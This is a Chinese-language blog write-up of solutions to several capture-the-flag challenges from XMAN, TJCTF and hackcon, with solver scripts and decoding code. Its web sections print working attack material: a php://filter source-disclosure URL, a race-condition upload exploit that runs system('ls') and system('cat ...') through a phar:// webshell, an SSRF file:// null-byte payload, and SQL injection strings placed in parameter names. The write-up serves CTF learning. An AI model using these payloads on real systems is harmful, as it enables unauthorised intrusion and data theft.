8.12-8.18 ctf wp

php伪协议读源码

1
http://202.112.51.184:8004/index.php?page=php://filter/read=convert.base64-encode/resource=upload

upload.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<?php
$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=$_FILES['pic']['type'];
try{
if($name!=="")
{
$name1=substr($name,-4);
if(($name1!==".gif") and ($name1!==".jpg"))
{
echo "hehe";
echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
exit;
}
if($type!=="image/jpeg"&&$type!=="image/gif")
{
echo mime_content_type($tmpName);
echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
exit;
}
if(is_uploaded_file($tmpName)){
$time=time();
$rootpath='uploads/'.$time.$name1;
if(!move_uploaded_file($tmpName,$rootpath)){
echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>";
exit;
}
else{
sleep(5);
if ($type=='image/jpeg')
{
$im = @imagecreatefromjpeg($rootpath);
if(!$im){
$im = imagecreatetruecolor(150, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 0, 0, 255);
imagefilledrectangle($im, 0, 0, 150, 30, $bg);
imagestring($im, 3, 5, 5, "Error loading image", $text_color);
} else {
$time=time();
$new_rootpath='uploads/'.$time.$name1;
imagejpeg($im,$new_rootpath);
}
}
else if ($type=='image/gif')
{
$im = @imagecreatefromgif($rootpath);
if(!$im){
$im = imagecreatetruecolor(150, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 0, 0, 255);
imagefilledrectangle($im, 0, 0, 150, 30, $bg);
imagestring($im, 3, 5, 5, "Error loading image", $text_color);
} else {
$time=time();
$new_rootpath='uploads/'.$time.$name1;
imagegif($im,$new_rootpath);
}
}
unlink($rootpath);
}
}
echo "图片ID:".$time;
}
}
catch(Exception $e)
{
echo "ERROR";
}
//
?>
</html>

在原来代码的基础上,进一步验证图像是否能正确载入
如果上传了正确的图片,imagecreatefromjpeg()返回图像资源,文件名更换为新的时间戳,用新的文件路径$new_rootpath输出图片,最后删除原文件unlink($rootpath);
如果上传了不正确的图片,不会更换新的文件路径,最后还要删除源文件unlink($rootpath);
看上去没问题,但是上传完文件执行了sleep(5);,所以上传的文件即使验证不成功也有5秒钟的时间存在,所以在五秒钟的时间内利用就可以

用burp的inturder模块不断上传文件(一句话打包压缩为的zip压缩文件,改包)

然后跑脚本

一开始还要手工输id,输命令,感觉不够优雅,改了改脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import time
id = int(time.time())-100
s=requests.session()
data1={
'a':"system('ls');"
}
data2={
'a':"system('cat xxxxxxxxxasdasf_flag.php');"
}
while 1:
url = 'http://202.112.51.184:9005/index.php?page=phar://./uploads/' + str(id) + '.gif/hacka'
id +=1
t=s.post(url,data=data1).content
print id
if len(t)>1688:
print t
break
while 1:
url = 'http://202.112.51.184:9005/index.php?page=phar://./uploads/' + str(id) + '.gif/hacka'
id +=1
t=s.post(url,data=data2).content
print id
if len(t)>1688:
print t
break
# XMAN{Rush_Rush_oo000}

XMAN

web

给了个task_code.txt,给hint:token_get_all()

token_get_all() 解析提供的 source 源码字符,然后使用 Zend 引擎的语法分析器获取源码中的 PHP 语言的解析器代号

就是把php源码解析成文件中的形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
array (size=232)
0 =>
array (size=3)
0 => int 376
2 => int 1
1 =>
array (size=3)
0 => int 312
1 => string '' (length=2)
2 => int 2
2 =>
array (size=3)
0 => int 379
2 => int 2
3 => string '=' (length=1)
4 =>
array (size=3)
1 => string ' ' (length=1)
2 => int 2
5 =>
array (size=3)
0 => int 318
1 => string '' (length=6)
2 => int 2
6 => string ';' (length=1)
7 =>
array (size=3)
0 => int 379
1 => string '
' (length=1)
2 => int 2
8 =>
array (size=3)
0 => int 312
1 => string '' (length=3)
2 => int 3
9 =>
array (size=3)
0 => int 379
1 => string ' ' (length=2)
2 => int 3
10 => string '=' (length=1)
11 =>
array (size=3)
0 => int 379
1 => string ' ' (length=1)
2 => int 3
12 =>
array (size=3)
0 => int 310
1 => string 'base64_decode' (length=13)
2 => int 3
13 => string '(' (length=1)
14 =>
array (size=3)
0 => int 318
1 => string '' (length=6)
2 => int 3
15 => string ')' (length=1)
16 => string ';' (length=1)
17 =>
array (size=3)
0 => int 379
1 => string '
' (length=1)
2 => int 3
18 =>
array (size=3)
0 => int 312
1 => string '' (length=4)
2 => int 4
19 =>
array (size=3)
0 => int 379
2 => int 4
20 => string '=' (length=1)
21 =>
array (size=3)
1 => string ' ' (length=1)
2 => int 4
......

写个脚本转换下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import re
f = open('task_code.txt','r')
finalcode=''
for line in f.readlines():
pattern=re.compile(r"string '([\s\S]*)' \(length=(\d+)\)")
try:
m=pattern.search(line)
code=m.group(1)
length=int(m.group(2))
if len(code)==length:
finalcode+=code
else:
finalcode+='*'*length
print m.group()
except:
pass
print finalcode

转换后的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
**= ******;
*** = base64_decode(******);
****= ;
$dd = "85";
$____ = *********;
****** = "In".***."P"."h".***;
($i=0;$i<10;$i++)
{$dd = $dd + 1;}
******** = chr($dd);
$dc = $dd;
{$dd = $dc + $dc;$dc;}($dc<100)$_GET['secret'] = isset($_GET['secret'])?$_GET['secret']:1;
($_GET['secret'])
{ 1:echo "XMAN2018!";; 4:; $dd:$fl = **."{"."***".********.****.********.str_rot13(*****).******.******;
echo $fl;break;: "XMAN NB!";}

虽然不全但也能看出来有secret参数,而且是数字,爆破一下,值为198时得到flag

ssrf

payload

1
http://202.112.51.184:11080/?site=file%3a%2f%2fwww.baidu.com%2fetc%2fflag.txt%2500

要url编码,00截断,不大明白为什么

TJCTF

Ess Kyoo Ell

  • sql注入,但没想到是在参数名处的sql注入
    1
    email=1%40c&' UNION SELECT username,2,3,4,5,6,ip_address FROM users WHERE username LIKE "admin"=123

或者

1
2
3
4
5
6
7
8
9
import requests
s= requests.Session()
url ='https://ess-kyoo-ell.tjctf.org/'
data={
'email':'a',
'ip_address or username = "admin" --':'a'
# "ip_address UNION SELECT (SELECT ip_address FORM users WHERE username = 'admin'), 2, 3, 4, 5, 6, 7 --":""
}
print '\n'.join(s.post(url,data=data).content.split('\n')[175:180])

Moar Horses

  • 脑洞题,一直访问/legs就能得到flag
    1
    2
    3
    4
    5
    6
    7
    8
    9
    import requests
    url="https://moar_horse.tjctf.org/legs"
    s= requests.Session()
    while 1:
    a= s.get(url).content
    print a
    if len(a)!=707:
    print a
    break

Request Me

也是脑洞题。。不过也了解HTTP request方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
curl -X OPTIONS "https://request_me.tjctf.org/"
GET, POST, PUT, DELETE, OPTIONS
Parameters: username, password
Some methods require HTTP Basic Auth%
curl -X PUT "https://request_me.tjctf.org/" --data username=admin\&password=admin
I stole your credentials!%
curl -X POST "https://request_me.tjctf.org/" --data username=admin\&password=admin
Could not verify your access level for that URL.
You have to login with proper credentials%
url -X DELETE "https://request_me.tjctf.org/" --data username=admin\&password=admin
Could not verify your access level for that URL.
You have to login with proper credentials%
curl -X DELETE "https://request_me.tjctf.org/" --data username=admin\&password=admin -u admin:admin
Finally! The flag is tjctf{wHy_4re_th3r3_s0_m4ny_Opt10nS}%

Nothing but Everything

全部文件加密了,十进制转16进制然后转字符串

Huuuuuge

扫描端口 有个9418 git端口
直接git clone会失败

1
2
3
4
5
6
7
8
git clone git://104.154.187.226/huuuuuge
Cloning into 'huuuuuge'...
remote: Counting objects: 309, done.
remote: warning: suboptimal pack - out of memory
remote: fatal: Out of memory, malloc failed (tried to allocate 104857601 bytes)
remote: aborting due to possible repository corruption on the remote side.
fatal: early EOF
fatal: index-pack failed

下载部分

1
git clone git://104.154.187.226/huuuuuge --depth 1

hackcon

做刚看了几眼就结束了,只做了几个简单题

Diversity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
b1001000
x69
d33
d32
o127
b1100101
o154
o143
b1101111
o155
o145
d32
o164
d111
d32
x48
b1100001
x63
o153
b1000011
o157
x6e
d39
o61
b111000
x2c
d32
d111
b1110010
d103
d97
x6e
o151
x73
d101
d100
o40
d97
b1110011
b100000
x70
o141
o162
x74
d32
x6f
x66
b100000
o105
b1110011
x79
b1100001
d39
d49
b111000
x20
b1100010
d121
b100000
x49
o111
b1001001
x54
b100000
b1000100
x65
x6c
o150
x69
b101110
x20
o111
d110
b100000
o143
d97
d115
o145
o40
b1111001
b1101111
x75
b100111
x72
x65
x20
x73
x65
b1100101
b1101011
x69
o156
x67
d32
b1100001
o40
o162
x65
o167
b1100001
o162
o144
d32
x66
d111
x72
b100000
o171
x6f
d117
b1110010
o40
d101
x66
x66
x6f
x72
d116
o163
x2c
b100000
d104
b1100101
d114
o145
x27
d115
x20
b1100001
d32
d102
d108
b1100001
x67
x20
x3a
b100000
o144
x34
o162
x6b
x7b
o151
d95
d87
o151
x73
b100011
d95
x41
o61
x6c
d95
b1110100
d52
d115
b1101011
d53
o137
o167
x33
d114
o63
o137
d116
b1101000
o151
o65
x5f
x33
d52
o65
o171
o137
x58
b1000100
b1000100
b1111101
x63
d48
d100
d101
d46
b100000
o101
x6e
b1111001
d119
b1100001
b1111001
x73
b101100
x20
o150
d111
b1110000
b1100101
o40
x79
o157
d117
b100000
b1101000
o141
x76
x65
b100000
d97
x20
o147
d111
b1101111
d100
b100000
b1110100
b1101001
d109
b1100101
d32
x3b
x29

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
f = open('Diversity.txt', 'r')
flag = ''
for line in f.readlines():
num = line[1:]
if line[0] == 'b':
flag += chr(int(num, 2)) + ' '
elif line[0] == 'x':
flag += chr(int(num, 16)) + ' '
elif line[0] == 'd':
flag += chr(int(num)) + ' '
elif line[0] == 'o':
flag += chr(int(num, 8)) + ' '
print flag

升级凯撒

1
2
3
4
5
6
7
8
9
10
11
12
# coding:utf-8
str = 'e4uo{zo1b_1e_f0j4l10i}z0ce'
flag = ''
i = 0
for c in str:
i += 1
if c.isalpha():
flag += chr(ord(c) - i)
else:
flag += c
print flag
# d4rk{th1Y_1Y_X0Z4Z10T}c0JK